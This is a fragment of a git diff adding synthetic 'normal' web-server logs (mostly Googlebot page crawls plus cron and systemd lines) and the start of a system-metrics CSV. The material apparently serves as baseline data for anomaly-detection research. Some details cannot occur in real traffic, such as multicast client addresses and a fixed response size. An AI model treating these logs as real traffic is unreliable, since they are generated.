web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:00 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:05 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:05 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:05 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:05 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:05 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:05 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:05 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:05 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:05 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:05 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 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[02/Jul/2025:12:04:15 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:20 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:20 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:20 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:20 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:20 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:20 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:20 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:20 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:20 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:20 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:25 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:25 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:25 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:25 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:25 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:25 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:25 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:25 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:25 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:25 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:30 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:30 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:30 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:30 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:30 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:30 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:35 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:35 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:35 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:35 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:35 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:35 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:35 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:35 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:40 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:40 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:40 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:40 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:40 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:40 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:40 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:40 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:40 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:40 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:40 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:40 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:45 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:45 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:45 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:45 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:45 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:45 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:45 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:45 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:45 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:45 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:45 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:45 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:45 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:45 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:45 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:45 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:50 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:50 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:50 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:50 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:50 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:50 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:50 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:50 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:55 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:55 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:04:55 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:04:55 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:04:55 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:04:55 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:04:55 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:00 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:00 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:00 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:00 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:00 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:00 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:00 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:00 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:00 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:00 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:05 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:05 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:05 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:05 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:05 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:05 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:05 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:05 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:05 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:05 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:10 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:10 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:10 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:10 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:10 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:10 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:10 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:10 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:10 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:10 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:15 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:15 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:15 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:15 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:15 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:15 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:15 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:15 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:15 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:15 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:20 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:20 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:20 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:20 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:20 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:20 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:20 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:20 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:20 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:20 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:20 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:20 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:20 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:20 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:25 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:25 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:25 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:25 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:25 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:25 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:30 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:30 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:30 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:30 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:30 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:30 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:30 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:30 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:30 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:30 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:30 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:30 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:30 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:35 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:35 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:35 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:35 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:35 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:35 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:35 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:35 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:35 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:35 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:35 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:35 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:35 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:35 ] "GET / HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:35 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:35 ] "GET /contact HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:40 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:40 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:40 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:40 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:40 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:40 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:40 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:40 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:40 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:40 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:40 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:40 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:45 web-app[2345]: 66.249.75.130 - - [02/Jul/2025:12:05:45 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:45 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:45 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:45 web-app[2345]: 66.249.66.2 - - [02/Jul/2025:12:05:45 ] "GET /about HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:45 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:45 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:45 web-app[2345]: 66.249.66.3 - - [02/Jul/2025:12:05:45 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:45 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:45 ] "GET /products/2 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:45 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:05:45 ] "GET /products/1 HTTP/1.1" 200 1234 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:50 web-app[2345]: 103.107.123.118 - - [02/Jul/2025:12:05:50 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:05:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:55 web-app[2345]: 155.248.85.1 - - [02/Jul/2025:12:05:55 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:06:10 web-app[2345]: 236.158.213.203 - - [02/Jul/2025:12:06:10 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:06:25 web-app[2345]: 145.242.12.192 - - [02/Jul/2025:12:06:25 ] "GET /blog/post-2 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:06:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:30 web-app[2345]: 52.201.213.93 - - [02/Jul/2025:12:06:30 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:06:45 web-app[2345]: 71.94.209.118 - - [02/Jul/2025:12:06:45 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:06:50 web-app[2345]: 150.235.111.241 - - [02/Jul/2025:12:06:50 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:06:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:05 web-app[2345]: 136.190.91.40 - - [02/Jul/2025:12:07:05 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:07:10 web-app[2345]: 203.102.104.50 - - [02/Jul/2025:12:07:10 ] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" +Jul 02 12:07:15 web-app[2345]: 103.158.57.152 - - [02/Jul/2025:12:07:15 ] "GET /blog/post-1 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:07:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:25 web-app[2345]: 226.12.21.177 - - [02/Jul/2025:12:07:25 ] "GET /index.html HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:07:25 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_8/norm_8_8.csv b/norm_dataset/scenario_8/norm_8_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..3c7e73c3c5a603fef6ba6dc67102ef2e8a2ae313 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,16.83,41.00,25.62,1.77,1.59 +2025-08-19T10:00:05Z,15.80,39.50,29.15,1.33,1.76 